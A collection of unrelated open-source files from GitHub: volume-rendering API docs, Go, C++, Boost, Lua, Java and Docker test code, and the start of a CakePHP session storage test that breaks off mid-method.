spectrum * ``name``: ``string``, Volume scene name * ``p0``: ``array``, Volume minimum bound * ``p1``: ``array``, Volume maximum bound * ``scale``: ``number``, Spectrums scale * ``scattering``: ``array``, Scattering spectrum Error: In the event of an error, the return value will be a ``dictionary``, contain 2 entries: * ``error``: ``integer``, an error code that identifies the problem. * ``messge``: ``str``, a description of the error. ---- add_homogeneus_volume_model ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Parameters: .. code-block:: python add_homogeneus_volume_model(scattering, g, name, absorption, model_id, le, density, scale) Adds a constant density volume to an already loaded model in the scene Parameters: * ``absorption``: ``array``, Absorption spectrum * ``density``: ``number``, Constant volume density * ``g``: ``number``, Anisotropy parameter * ``le``: ``array``, Radiance spectrum * ``model_id``: ``integer``, Model to which to add the volume * ``name``: ``string``, Volume scene name * ``scale``: ``number``, Spectrums scale * ``scattering``: ``array``, Scattering spectrum Error: In the event of an error, the return value will be a ``dictionary``, contain 2 entries: * ``error``: ``integer``, an error code that identifies the problem. * ``messge``: ``str``, a description of the error.
{ "pile_set_name": "Github" }
// +build linux aix // +build !js package logrus import "golang.org/x/sys/unix" const ioctlReadTermios = unix.TCGETS func isTerminal(fd int) bool { _, err := unix.IoctlGetTermios(fd, ioctlReadTermios) return err == nil }
{ "pile_set_name": "Github" }
fileFormatVersion: 2 guid: 42b21ac9ba7449047897628396303276 timeCreated: 1530263253 licenseType: Free MonoImporter: externalObjects: {} serializedVersion: 2 defaultReferences: [] executionOrder: 0 icon: {instanceID: 0} userData: assetBundleName: assetBundleVariant:
{ "pile_set_name": "Github" }
//===- ThreadLocal.cpp - Thread Local Data ----------------------*- C++ -*-===// // // The LLVM Compiler Infrastructure // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // // This file implements the llvm::sys::ThreadLocal class. // //===----------------------------------------------------------------------===// #include "llvm/Config/config.h" #include "llvm/Support/Compiler.h" #include "llvm/Support/ThreadLocal.h" //===----------------------------------------------------------------------===// //=== WARNING: Implementation here must contain only TRULY operating system //=== independent code. //===----------------------------------------------------------------------===// #if !defined(LLVM_ENABLE_THREADS) || LLVM_ENABLE_THREADS == 0 // Define all methods as no-ops if threading is explicitly disabled namespace llvm { using namespace sys; ThreadLocalImpl::ThreadLocalImpl() : data() { } ThreadLocalImpl::~ThreadLocalImpl() { } void ThreadLocalImpl::setInstance(const void* d) { static_assert(sizeof(d) <= sizeof(data), "size too big"); void **pd = reinterpret_cast<void**>(&data); *pd = const_cast<void*>(d); } void *ThreadLocalImpl::getInstance() { void **pd = reinterpret_cast<void**>(&data); return *pd; } void ThreadLocalImpl::removeInstance() { setInstance(nullptr); } } #elif defined(LLVM_ON_UNIX) #include "Unix/ThreadLocal.inc" #elif defined( LLVM_ON_WIN32) #include "Windows/ThreadLocal.inc" #else #warning Neither LLVM_ON_UNIX nor LLVM_ON_WIN32 set in Support/ThreadLocal.cpp #endif
{ "pile_set_name": "Github" }
# /* ************************************************************************** # * * # * (C) Copyright Edward Diener 2013. # * Distributed under the Boost Software License, Version 1.0. (See # * accompanying file LICENSE_1_0.txt or copy at # * http://www.boost.org/LICENSE_1_0.txt) # * * # ************************************************************************** */ # # /* See http://www.boost.org for most recent version. */ # # ifndef BOOST_PREPROCESSOR_TUPLE_REMOVE_HPP # define BOOST_PREPROCESSOR_TUPLE_REMOVE_HPP # # include <boost/preprocessor/config/config.hpp> # # if BOOST_PP_VARIADICS # # include <boost/preprocessor/array/remove.hpp> # include <boost/preprocessor/array/to_tuple.hpp> # include <boost/preprocessor/comparison/greater.hpp> # include <boost/preprocessor/control/iif.hpp> # include <boost/preprocessor/tuple/size.hpp> # include <boost/preprocessor/tuple/to_array.hpp> # # /* BOOST_PP_TUPLE_REMOVE */ # # define BOOST_PP_TUPLE_REMOVE(tuple, i) \ BOOST_PP_IIF \ ( \ BOOST_PP_GREATER(BOOST_PP_TUPLE_SIZE(tuple),1), \ BOOST_PP_TUPLE_REMOVE_EXEC, \ BOOST_PP_TUPLE_REMOVE_RETURN \ ) \ (tuple, i) \ /**/ # # define BOOST_PP_TUPLE_REMOVE_EXEC(tuple, i) \ BOOST_PP_ARRAY_TO_TUPLE(BOOST_PP_ARRAY_REMOVE(BOOST_PP_TUPLE_TO_ARRAY(tuple), i)) \ /**/ # # define BOOST_PP_TUPLE_REMOVE_RETURN(tuple, i) tuple # # /* BOOST_PP_TUPLE_REMOVE_D */ # # define BOOST_PP_TUPLE_REMOVE_D(d, tuple, i) \ BOOST_PP_IIF \ ( \ BOOST_PP_GREATER_D(d, BOOST_PP_TUPLE_SIZE(tuple), 1), \ BOOST_PP_TUPLE_REMOVE_D_EXEC, \ BOOST_PP_TUPLE_REMOVE_D_RETURN \ ) \ (d, tuple, i) \ /**/ # # define BOOST_PP_TUPLE_REMOVE_D_EXEC(d, tuple, i) \ BOOST_PP_ARRAY_TO_TUPLE(BOOST_PP_ARRAY_REMOVE_D(d, BOOST_PP_TUPLE_TO_ARRAY(tuple), i)) \ /**/ # # define BOOST_PP_TUPLE_REMOVE_D_RETURN(d, tuple, i) tuple # # endif // BOOST_PP_VARIADICS # # endif // BOOST_PREPROCESSOR_TUPLE_REMOVE_HPP
{ "pile_set_name": "Github" }
function getName() return "Map 04" end function onMapLoaded() end function initMap() -- get the current map context local map = Map.get() map:addTile("tile-background-ice-06", 0, 0) map:addTile("tile-background-ice-05", 0, 1) map:addTile("tile-background-ice-06", 0, 2) map:addTile("tile-background-ice-07", 0, 3) map:addTile("tile-background-ice-07", 0, 4) map:addTile("tile-background-ice-07", 0, 5) map:addTile("tile-background-ice-cave-art-01", 0, 6) map:addTile("tile-background-ice-03", 0, 7) map:addTile("tile-background-ice-04", 0, 8) map:addTile("tile-background-ice-02", 0, 9) map:addTile("tile-background-ice-02", 0, 10) map:addTile("tile-background-ice-03", 0, 11) map:addTile("tile-background-ice-big-01", 1, 0) map:addTile("tile-background-ice-06", 1, 2) map:addTile("tile-background-ice-04", 1, 3) map:addTile("tile-background-ice-07", 1, 4) map:addTile("tile-background-ice-06", 1, 5) map:addTile("tile-background-ice-05", 1, 6) map:addTile("tile-background-ice-01", 1, 7) map:addTile("tile-background-ice-05", 1, 8) map:addTile("tile-background-ice-01", 1, 9) map:addTile("tile-background-ice-05", 1, 10) map:addTile("tile-background-ice-06", 1, 11) map:addTile("tile-background-ice-01", 2, 2) map:addTile("tile-background-ice-01", 2, 3) map:addTile("tile-ground-ledge-ice-left-01", 2, 4) map:addTile("tile-background-ice-04", 2, 5) map:addTile("tile-background-ice-01", 2, 6) map:addTile("tile-background-ice-big-01", 2, 7) map:addTile("tile-background-ice-04", 2, 9) map:addTile("tile-background-ice-06", 2, 10) map:addTile("tile-background-ice-03", 2, 11) map:addTile("tile-background-ice-03", 3, 0) map:addTile("tile-background-ice-07", 3, 1) map:addTile("tile-background-ice-06", 3, 2) map:addTile("tile-background-ice-04", 3, 3) map:addTile("tile-ground-ice-02", 3, 4) map:addTile("tile-rock-ice-02", 3, 5) map:addTile("tile-background-ice-02", 3, 6) map:addTile("tile-background-ice-06", 3, 9) map:addTile("tile-background-ice-cave-art-01", 3, 10) map:addTile("tile-background-ice-06", 3, 11) map:addTile("tile-background-ice-06", 4, 0) map:addTile("tile-background-ice-01", 4, 1) map:addTile("tile-background-ice-05", 4, 2) map:addTile("tile-background-ice-02", 4, 3) map:addTile("tile-ground-ice-03", 4, 4) map:addTile("tile-rock-ice-03", 4, 5) map:addTile("tile-ground-ledge-ice-left-02", 4, 6) map:addTile("tile-background-ice-03", 4, 7) map:addTile("tile-background-ice-big-01", 4, 8) map:addTile("tile-background-ice-03", 4, 10) map:addTile("tile-background-ice-03", 4, 11) map:addTile("tile-background-ice-03", 5, 0) map:addTile("tile-background-ice-03", 5, 1) map:addTile("tile-ground-ledge-ice-left-02", 5, 2) map:addTile("tile-ground-ice-04", 5, 4) map:addTile("tile-rock-ice-big-01", 5, 5) map:addTile("tile-background-ice-04", 5, 7) map:addTile("tile-background-ice-01", 5, 10) map:addTile("tile-background-ice-03", 5, 11) map:addTile("tile-background-ice-01", 6, 0) map:addTile("tile-background-ice-05", 6, 1) map:addTile("tile-ground-ice-02", 6, 2) map:addTile("tile-rock-ice-big-01", 6, 3) map:addTile("tile-background-ice-03", 6, 7) map:addTile("tile-background-ice-03", 6, 8) map:addTile("tile-background-ice-04", 6, 9) map:addTile("tile-background-ice-04", 6, 10) map:addTile("tile-background-ice-06", 6, 11) map:addTile("tile-background-ice-01", 7, 0) map:addTile("tile-background-ice-05", 7, 1) map:addTile("tile-ground-ice-01", 7, 2) map:addTile("tile-rock-ice-03", 7, 5) map:addTile("tile-rock-ice-02", 7, 6) map:addTile("tile-background-ice-02", 7, 7) map:addTile("tile-background-ice-cave-art-01", 7, 8) map:addTile("tile-background-ice-03", 7, 9) map:addTile("tile-background-ice-03", 7, 10) map:addTile("tile-background-ice-03", 7, 11) map:addTile("tile-background-ice-01", 8, 0) map:addTile("tile-background-ice-03", 8, 1) map:addTile("tile-ground-ledge-ice-right-02", 8, 2) map:addTile("tile-background-ice-cave-art-01", 8, 3) map:addTile("tile-ground-ice-01", 8, 4) map:addTile("tile-rock-ice-03", 8, 5) map:addTile("tile-ground-ledge-ice-right-01", 8, 6) map:addTile("tile-background-ice-05", 8, 7) map:addTile("tile-background-ice-02", 8, 8) map:addTile("tile-background-ice-04", 8, 9) map:addTile("tile-background-ice-03", 8, 10) map:addTile("tile-background-ice-06", 8, 11) map:addTile("tile-background-ice-04", 9, 0) map:addTile("tile-background-ice-01", 9, 1) map:addTile("tile-background-ice-06", 9, 2) map:addTile("tile-ground-ice-04", 9, 4) map:addTile("tile-rock-slope-ice-right-02", 9, 5) map:addTile("tile-background-ice-04", 9, 6) map:addTile("tile-background-ice-04", 9, 7) map:addTile("tile-background-ice-02", 9, 8) map:addTile("tile-background-ice-03", 9, 9) map:addTile("tile-background-ice-03", 9, 10) map:addTile("tile-background-ice-03", 9, 11) map:addTile("tile-background-ice-04", 10, 0) map:addTile("tile-background-ice-03", 10, 1) map:addTile("tile-background-ice-cave-art-01", 10, 2) map:addTile("tile-background-ice-06", 10, 3) map:addTile("tile-background-ice-07", 10, 4) map:addTile("tile-background-ice-07", 10, 5) map:addTile("tile-background-ice-01", 10, 6) map:addTile("tile-background-ice-07", 10, 7) map:addTile("tile-background-ice-06", 10, 8) map:addTile("tile-ground-ice-03", 10, 9) map:addTile("tile-rock-ice-01", 10, 10) map:addTile("tile-rock-ice-03", 10, 11) map:addTile("tile-background-ice-07", 11, 0) map:addTile("tile-background-ice-04", 11, 1) map:addTile("tile-background-ice-07", 11, 2) map:addTile("tile-background-ice-03", 11, 3) map:addTile("tile-background-ice-big-01", 11, 4) map:addTile("tile-background-ice-big-01", 11, 6) map:addTile("tile-background-ice-01", 11, 8) map:addTile("tile-ground-ice-01", 11, 9) map:addTile("tile-rock-ice-03", 11, 10) map:addTile("tile-rock-ice-01", 11, 11) map:addTile("tile-background-ice-cave-art-01", 12, 0) map:addTile("tile-background-ice-cave-art-01", 12, 1) map:addTile("tile-background-ice-04", 12, 2) map:addTile("tile-ground-ledge-ice-left-02", 12, 3) map:addTile("tile-background-ice-06", 12, 8) map:addTile("tile-ground-ice-01", 12, 9) map:addTile("tile-rock-ice-02", 12, 10) map:addTile("tile-rock-ice-02", 12, 11) map:addTile("tile-background-ice-big-01", 13, 0) map:addTile("tile-background-ice-04", 13, 2) map:addTile("tile-rock-slope-ice-right-01", 13, 3) map:addTile("tile-rock-slope-ice-left-02", 13, 4) map:addTile("tile-background-ice-05", 13, 5) map:addTile("tile-background-ice-04", 13, 6) map:addTile("tile-background-ice-06", 13, 7) map:addTile("tile-waterfall-ice-01", 13, 8) map:addTile("tile-rock-ice-01", 13, 10) map:addTile("tile-rock-ice-02", 13, 11) map:addTile("tile-ground-ice-02", 14, 2) map:addTile("tile-rock-slope-ice-left-02", 14, 3) map:addTile("tile-rock-slope-ice-right-01", 14, 4) map:addTile("tile-ground-ledge-ice-right-02", 14, 5) map:addTile("tile-background-ice-01", 14, 6) map:addTile("tile-background-ice-cave-art-01", 14, 7) map:addTile("tile-background-ice-04", 14, 8) map:addTile("tile-packagetarget-ice-01-idle", 14, 9) map:addTile("tile-rock-ice-03", 14, 10) map:addTile("tile-rock-ice-01", 14, 11) map:addTile("tile-background-ice-04", 15, 0) map:addTile("tile-background-ice-01", 15, 1) map:addTile("tile-ground-ice-02", 15, 2) map:addTile("tile-rock-ice-01", 15, 3) map:addTile("tile-rock-slope-ice-left-02", 15, 4) map:addTile("tile-rock-slope-ice-left-01", 15, 5) map:addTile("tile-background-ice-02", 15, 6) map:addTile("tile-background-ice-05", 15, 7) map:addTile("tile-geyser-ice-01-active", 15, 8) map:addTile("tile-rock-ice-03", 15, 10) map:addTile("tile-rock-ice-01", 15, 11) map:addCave("tile-cave-ice-01", 5, 3, "none", 5000) map:addCave("tile-cave-ice-02", 9, 3, "none", 5000) map:addEmitter("npc-walking", 11, 8, 1, 0, "") map:addEmitter("item-stone", 13.2, 7, 1, 0, "") map:setSetting("width", "16") map:setSetting("height", "12") map:setSetting("fishnpc", "true") map:setSetting("flyingnpc", "true") map:setSetting("gravity", "9.81") map:setSetting("packagetransfercount", "3") map:addStartPosition("2", "3") map:setSetting("points", "120") map:setSetting("referencetime", "40") map:setSetting("theme", "ice") map:setSetting("waterchangespeed", "0") map:setSetting("waterfallingdelay", "0") map:setSetting("waterheight", "2") map:setSetting("waterrisingdelay", "0") map:setSetting("wind", "0.0") end
{ "pile_set_name": "Github" }
package com.necer.utils; import android.content.Context; import android.util.TypedValue; import com.necer.entity.CalendarDate; import com.necer.entity.Lunar; import org.joda.time.LocalDate; import org.joda.time.Months; import org.joda.time.Weeks; import java.util.ArrayList; import java.util.List; /** * Created by necer on 2017/6/9. */ public class CalendarUtil { /** * 两个日期是否同月 */ public static boolean isEqualsMonth(LocalDate date1, LocalDate date2) { return date1.getYear() == date2.getYear() && date1.getMonthOfYear() == date2.getMonthOfYear(); } /** * 第一个是不是第二个的上一个月,只在此处有效 * * @param date1 * @param date2 * @return */ public static boolean isLastMonth(LocalDate date1, LocalDate date2) { LocalDate date = date2.plusMonths(-1); return date1.getMonthOfYear() == date.getMonthOfYear(); } /** * 第一个是不是第二个的下一个月,只在此处有效 * * @param date1 * @param date2 * @return */ public static boolean isNextMonth(LocalDate date1, LocalDate date2) { LocalDate date = date2.plusMonths(1); return date1.getMonthOfYear() == date.getMonthOfYear(); } /** * 获得两个日期距离几个月 * * @return */ public static int getIntervalMonths(LocalDate date1, LocalDate date2) { date1 = date1.withDayOfMonth(1); date2 = date2.withDayOfMonth(1); return Months.monthsBetween(date1, date2).getMonths(); } /** * 获得两个日期距离几周 * * @param date1 * @param date2 * @param type 一周 * @return */ public static int getIntervalWeek(LocalDate date1, LocalDate date2, int type) { if (type == Attrs.MONDAY) { date1 = getMonFirstDayOfWeek(date1); date2 = getMonFirstDayOfWeek(date2); } else { date1 = getSunFirstDayOfWeek(date1); date2 = getSunFirstDayOfWeek(date2); } return Weeks.weeksBetween(date1, date2).getWeeks(); } /** * 是否是今天 * * @param date * @return */ public static boolean isToday(LocalDate date) { return new LocalDate().equals(date); } /** * @param localDate * @param weekType 300,周日,301周一 * @return */ public static List<LocalDate> getMonthCalendar(LocalDate localDate, int weekType, boolean isAllMonthSixLine) { LocalDate lastMonthDate = localDate.plusMonths(-1);//上个月 LocalDate nextMonthDate = localDate.plusMonths(1);//下个月 int days = localDate.dayOfMonth().getMaximumValue();//当月天数 int lastMonthDays = lastMonthDate.dayOfMonth().getMaximumValue();//上个月的天数 int firstDayOfWeek = new LocalDate(localDate.getYear(), localDate.getMonthOfYear(), 1).getDayOfWeek();//当月第一天周几 int endDayOfWeek = new LocalDate(localDate.getYear(), localDate.getMonthOfYear(), days).getDayOfWeek();//当月最后一天周几 List<LocalDate> dateList = new ArrayList<>(); //周一开始的 if (weekType == Attrs.MONDAY) { //周一开始的 for (int i = 0; i < firstDayOfWeek - 1; i++) { LocalDate date = new LocalDate(lastMonthDate.getYear(), lastMonthDate.getMonthOfYear(), lastMonthDays - (firstDayOfWeek - i - 2)); dateList.add(date); } for (int i = 0; i < days; i++) { LocalDate date = new LocalDate(localDate.getYear(), localDate.getMonthOfYear(), i + 1); dateList.add(date); } for (int i = 0; i < 7 - endDayOfWeek; i++) { LocalDate date = new LocalDate(nextMonthDate.getYear(), nextMonthDate.getMonthOfYear(), i + 1); dateList.add(date); } } else { //上个月 if (firstDayOfWeek != 7) { for (int i = 0; i < firstDayOfWeek; i++) { LocalDate date = new LocalDate(lastMonthDate.getYear(), lastMonthDate.getMonthOfYear(), lastMonthDays - (firstDayOfWeek - i - 1)); dateList.add(date); } } //当月 for (int i = 0; i < days; i++) { LocalDate date = new LocalDate(localDate.getYear(), localDate.getMonthOfYear(), i + 1); dateList.add(date); } //下个月 if (endDayOfWeek == 7) { endDayOfWeek = 0; } for (int i = 0; i < 6 - endDayOfWeek; i++) { LocalDate date = new LocalDate(nextMonthDate.getYear(), nextMonthDate.getMonthOfYear(), i + 1); dateList.add(date); } } //某些年的2月份28天,又正好日历只占4行 if (dateList.size() == 28) { for (int i = 0; i < 7; i++) { LocalDate date = new LocalDate(nextMonthDate.getYear(), nextMonthDate.getMonthOfYear(), i + 1); dateList.add(date); } } //是否所有月份都6行 if (isAllMonthSixLine && dateList.size() == 35) { LocalDate endLocalDate = dateList.get(dateList.size() - 1); int dayOfMonth = endLocalDate.getDayOfMonth(); //如果是当月最后一天,直接加上下个月的7天,如果不是当月了,已经是下月了,就顺着下月数7天 if (dayOfMonth == days) { for (int i = 0; i < 7; i++) { LocalDate date = new LocalDate(nextMonthDate.getYear(), nextMonthDate.getMonthOfYear(), i + 1); dateList.add(date); } } else { for (int i = 0; i < 7; i++) { LocalDate date = new LocalDate(nextMonthDate.getYear(), nextMonthDate.getMonthOfYear(), dayOfMonth + i + 1); dateList.add(date); } } } return dateList; } /** * 周视图的数据 * * @param localDate * @return */ public static List<LocalDate> getWeekCalendar(LocalDate localDate, int type) { List<LocalDate> dateList = new ArrayList<>(); if (type == Attrs.MONDAY) { localDate = getMonFirstDayOfWeek(localDate); } else { localDate = getSunFirstDayOfWeek(localDate); } for (int i = 0; i < 7; i++) { LocalDate date = localDate.plusDays(i); dateList.add(date); } return dateList; } public static List<String> getHolidayList() { return HolidayUtil.holidayList; } public static List<String> getWorkdayList() { return HolidayUtil.workdayList; } /** * 转化一周从周日开始 * @param date * @return */ public static LocalDate getSunFirstDayOfWeek(LocalDate date) { if (date.dayOfWeek().get() == 7) { return date; } else { return date.minusWeeks(1).withDayOfWeek(7); } } /** * 转化一周从周一开始 * @param date * @return */ public static LocalDate getMonFirstDayOfWeek(LocalDate date) { return date.dayOfWeek().withMinimumValue(); } /** * 获取CalendarDate CalendarDate包含需要显示的信息 农历,节气等 * @param localDate * @return */ public static CalendarDate getCalendarDate(LocalDate localDate) { CalendarDate calendarDate = new CalendarDate(); int solarYear = localDate.getYear(); int solarMonth = localDate.getMonthOfYear(); int solarDay = localDate.getDayOfMonth(); Lunar lunar = LunarUtil.getLunar(solarYear, solarMonth, solarDay); if (solarYear != 1900) { calendarDate.lunar = lunar; calendarDate.localDate = localDate; calendarDate.solarTerm = SolarTermUtil.getSolatName(solarYear, (solarMonth < 10 ? ("0" + solarMonth) : (solarMonth + "")) + solarDay); calendarDate.solarHoliday = HolidayUtil.getSolarHoliday(solarYear, solarMonth, solarDay); calendarDate.lunarHoliday = HolidayUtil.getLunarHoliday(lunar.lunarYear, lunar.lunarMonth, lunar.lunarDay); } return calendarDate; } }
{ "pile_set_name": "Github" }
package xfer import ( "bytes" "errors" "fmt" "io" "io/ioutil" "runtime" "sync/atomic" "testing" "time" "github.com/docker/distribution" "github.com/docker/docker/image" "github.com/docker/docker/layer" "github.com/docker/docker/pkg/progress" "github.com/opencontainers/go-digest" "golang.org/x/net/context" ) const maxDownloadConcurrency = 3 type mockLayer struct { layerData bytes.Buffer diffID layer.DiffID chainID layer.ChainID parent layer.Layer } func (ml *mockLayer) TarStream() (io.ReadCloser, error) { return ioutil.NopCloser(bytes.NewBuffer(ml.layerData.Bytes())), nil } func (ml *mockLayer) TarStreamFrom(layer.ChainID) (io.ReadCloser, error) { return nil, fmt.Errorf("not implemented") } func (ml *mockLayer) ChainID() layer.ChainID { return ml.chainID } func (ml *mockLayer) DiffID() layer.DiffID { return ml.diffID } func (ml *mockLayer) Parent() layer.Layer { return ml.parent } func (ml *mockLayer) Size() (size int64, err error) { return 0, nil } func (ml *mockLayer) DiffSize() (size int64, err error) { return 0, nil } func (ml *mockLayer) Metadata() (map[string]string, error) { return make(map[string]string), nil } type mockLayerStore struct { layers map[layer.ChainID]*mockLayer } func createChainIDFromParent(parent layer.ChainID, dgsts ...layer.DiffID) layer.ChainID { if len(dgsts) == 0 { return parent } if parent == "" { return createChainIDFromParent(layer.ChainID(dgsts[0]), dgsts[1:]...) } // H = "H(n-1) SHA256(n)" dgst := digest.FromBytes([]byte(string(parent) + " " + string(dgsts[0]))) return createChainIDFromParent(layer.ChainID(dgst), dgsts[1:]...) } func (ls *mockLayerStore) Map() map[layer.ChainID]layer.Layer { layers := map[layer.ChainID]layer.Layer{} for k, v := range ls.layers { layers[k] = v } return layers } func (ls *mockLayerStore) Register(reader io.Reader, parentID layer.ChainID) (layer.Layer, error) { return ls.RegisterWithDescriptor(reader, parentID, distribution.Descriptor{}) } func (ls *mockLayerStore) RegisterWithDescriptor(reader io.Reader, parentID layer.ChainID, _ distribution.Descriptor) (layer.Layer, error) { var ( parent layer.Layer err error ) if parentID != "" { parent, err = ls.Get(parentID) if err != nil { return nil, err } } l := &mockLayer{parent: parent} _, err = l.layerData.ReadFrom(reader) if err != nil { return nil, err } l.diffID = layer.DiffID(digest.FromBytes(l.layerData.Bytes())) l.chainID = createChainIDFromParent(parentID, l.diffID) ls.layers[l.chainID] = l return l, nil } func (ls *mockLayerStore) Get(chainID layer.ChainID) (layer.Layer, error) { l, ok := ls.layers[chainID] if !ok { return nil, layer.ErrLayerDoesNotExist } return l, nil } func (ls *mockLayerStore) Release(l layer.Layer) ([]layer.Metadata, error) { return []layer.Metadata{}, nil } func (ls *mockLayerStore) CreateRWLayer(string, layer.ChainID, *layer.CreateRWLayerOpts) (layer.RWLayer, error) { return nil, errors.New("not implemented") } func (ls *mockLayerStore) GetRWLayer(string) (layer.RWLayer, error) { return nil, errors.New("not implemented") } func (ls *mockLayerStore) ReleaseRWLayer(layer.RWLayer) ([]layer.Metadata, error) { return nil, errors.New("not implemented") } func (ls *mockLayerStore) GetMountID(string) (string, error) { return "", errors.New("not implemented") } func (ls *mockLayerStore) Cleanup() error { return nil } func (ls *mockLayerStore) DriverStatus() [][2]string { return [][2]string{} } func (ls *mockLayerStore) DriverName() string { return "mock" } type mockDownloadDescriptor struct { currentDownloads *int32 id string diffID layer.DiffID registeredDiffID layer.DiffID expectedDiffID layer.DiffID simulateRetries int } // Key returns the key used to deduplicate downloads. func (d *mockDownloadDescriptor) Key() string { return d.id } // ID returns the ID for display purposes. func (d *mockDownloadDescriptor) ID() string { return d.id } // DiffID should return the DiffID for this layer, or an error // if it is unknown (for example, if it has not been downloaded // before). func (d *mockDownloadDescriptor) DiffID() (layer.DiffID, error) { if d.diffID != "" { return d.diffID, nil } return "", errors.New("no diffID available") } func (d *mockDownloadDescriptor) Registered(diffID layer.DiffID) { d.registeredDiffID = diffID } func (d *mockDownloadDescriptor) mockTarStream() io.ReadCloser { // The mock implementation returns the ID repeated 5 times as a tar // stream instead of actual tar data. The data is ignored except for // computing IDs. return ioutil.NopCloser(bytes.NewBuffer([]byte(d.id + d.id + d.id + d.id + d.id))) } // Download is called to perform the download. func (d *mockDownloadDescriptor) Download(ctx context.Context, progressOutput progress.Output) (io.ReadCloser, int64, error) { if d.currentDownloads != nil { defer atomic.AddInt32(d.currentDownloads, -1) if atomic.AddInt32(d.currentDownloads, 1) > maxDownloadConcurrency { return nil, 0, errors.New("concurrency limit exceeded") } } // Sleep a bit to simulate a time-consuming download. for i := int64(0); i <= 10; i++ { select { case <-ctx.Done(): return nil, 0, ctx.Err() case <-time.After(10 * time.Millisecond): progressOutput.WriteProgress(progress.Progress{ID: d.ID(), Action: "Downloading", Current: i, Total: 10}) } } if d.simulateRetries != 0 { d.simulateRetries-- return nil, 0, errors.New("simulating retry") } return d.mockTarStream(), 0, nil } func (d *mockDownloadDescriptor) Close() { } func downloadDescriptors(currentDownloads *int32) []DownloadDescriptor { return []DownloadDescriptor{ &mockDownloadDescriptor{ currentDownloads: currentDownloads, id: "id1", expectedDiffID: layer.DiffID("sha256:68e2c75dc5c78ea9240689c60d7599766c213ae210434c53af18470ae8c53ec1"), }, &mockDownloadDescriptor{ currentDownloads: currentDownloads, id: "id2", expectedDiffID: layer.DiffID("sha256:64a636223116aa837973a5d9c2bdd17d9b204e4f95ac423e20e65dfbb3655473"), }, &mockDownloadDescriptor{ currentDownloads: currentDownloads, id: "id3", expectedDiffID: layer.DiffID("sha256:58745a8bbd669c25213e9de578c4da5c8ee1c836b3581432c2b50e38a6753300"), }, &mockDownloadDescriptor{ currentDownloads: currentDownloads, id: "id2", expectedDiffID: layer.DiffID("sha256:64a636223116aa837973a5d9c2bdd17d9b204e4f95ac423e20e65dfbb3655473"), }, &mockDownloadDescriptor{ currentDownloads: currentDownloads, id: "id4", expectedDiffID: layer.DiffID("sha256:0dfb5b9577716cc173e95af7c10289322c29a6453a1718addc00c0c5b1330936"), simulateRetries: 1, }, &mockDownloadDescriptor{ currentDownloads: currentDownloads, id: "id5", expectedDiffID: layer.DiffID("sha256:0a5f25fa1acbc647f6112a6276735d0fa01e4ee2aa7ec33015e337350e1ea23d"), }, } } func TestSuccessfulDownload(t *testing.T) { // TODO Windows: Fix this unit text if runtime.GOOS == "windows" { t.Skip("Needs fixing on Windows") } layerStore := &mockLayerStore{make(map[layer.ChainID]*mockLayer)} ldm := NewLayerDownloadManager(layerStore, maxDownloadConcurrency, func(m *LayerDownloadManager) { m.waitDuration = time.Millisecond }) progressChan := make(chan progress.Progress) progressDone := make(chan struct{}) receivedProgress := make(map[string]progress.Progress) go func() { for p := range progressChan { receivedProgress[p.ID] = p } close(progressDone) }() var currentDownloads int32 descriptors := downloadDescriptors(&currentDownloads) firstDescriptor := descriptors[0].(*mockDownloadDescriptor) // Pre-register the first layer to simulate an already-existing layer l, err := layerStore.Register(firstDescriptor.mockTarStream(), "") if err != nil { t.Fatal(err) } firstDescriptor.diffID = l.DiffID() rootFS, releaseFunc, err := ldm.Download(context.Background(), *image.NewRootFS(), descriptors, progress.ChanOutput(progressChan)) if err != nil { t.Fatalf("download error: %v", err) } releaseFunc() close(progressChan) <-progressDone if len(rootFS.DiffIDs) != len(descriptors) { t.Fatal("got wrong number of diffIDs in rootfs") } for i, d := range descriptors { descriptor := d.(*mockDownloadDescriptor) if descriptor.diffID != "" { if receivedProgress[d.ID()].Action != "Already exists" { t.Fatalf("did not get 'Already exists' message for %v", d.ID()) } } else if receivedProgress[d.ID()].Action != "Pull complete" { t.Fatalf("did not get 'Pull complete' message for %v", d.ID()) } if rootFS.DiffIDs[i] != descriptor.expectedDiffID { t.Fatalf("rootFS item %d has the wrong diffID (expected: %v got: %v)", i, descriptor.expectedDiffID, rootFS.DiffIDs[i]) } if descriptor.diffID == "" && descriptor.registeredDiffID != rootFS.DiffIDs[i] { t.Fatal("diffID mismatch between rootFS and Registered callback") } } } func TestCancelledDownload(t *testing.T) { ldm := NewLayerDownloadManager(&mockLayerStore{make(map[layer.ChainID]*mockLayer)}, maxDownloadConcurrency, func(m *LayerDownloadManager) { m.waitDuration = time.Millisecond }) progressChan := make(chan progress.Progress) progressDone := make(chan struct{}) go func() { for range progressChan { } close(progressDone) }() ctx, cancel := context.WithCancel(context.Background()) go func() { <-time.After(time.Millisecond) cancel() }() descriptors := downloadDescriptors(nil) _, _, err := ldm.Download(ctx, *image.NewRootFS(), descriptors, progress.ChanOutput(progressChan)) if err != context.Canceled { t.Fatal("expected download to be cancelled") } close(progressChan) <-progressDone }
{ "pile_set_name": "Github" }
<?php declare(strict_types=1); /** * CakePHP(tm) : Rapid Development Framework (https://cakephp.org) * Copyright (c) Cake Software Foundation, Inc. (https://cakefoundation.org) * * Licensed under The MIT License * For full copyright and license information, please see the LICENSE.txt * Redistributions of files must retain the above copyright notice. * * @copyright Copyright (c) Cake Software Foundation, Inc. (https://cakefoundation.org) * @link https://cakephp.org CakePHP(tm) Project * @since 3.1.0 * @license https://opensource.org/licenses/mit-license.php MIT License */ namespace Cake\Test\TestCase\Auth\Storage; use Cake\Auth\Storage\SessionStorage; use Cake\Http\Response; use Cake\Http\ServerRequest; use Cake\Http\Session; use Cake\TestSuite\TestCase; /** * Test case for SessionStorage */ class SessionStorageTest extends TestCase { /** * @var \Cake\Auth\Storage\SessionStorage */ protected $storage; /** * setup * * @return void */ public function setUp(): void { parent::setUp(); $this->session = $this->getMockBuilder(Session::class)->getMock(); $this->request = new ServerRequest(['session' => $this->session]); $this->response = new Response(); $this->storage = new SessionStorage($this->request, $this->response, ['key' => 'Auth.AuthUser']); $this->user = ['id' => 1]; } /** * Test write * * @return void */ public function testWrite(): void { $this->session->expects($this->once()) ->method('write') ->with('Auth.AuthUser', $this->user) ->will($this->returnValue(true)); $this->storage->write($this->user); } /** * Test read * * @return void */ public function testRead(): void { $this->session->expects($this->once()) ->method('read') ->with('Auth.AuthUser') ->will($this->returnValue($this->user)); $result = $this->storage->read(); $this->assertSame($this->user, $result); } /** * Test read from local var * * @return void */ public function testGetFromLocalVar(): void { 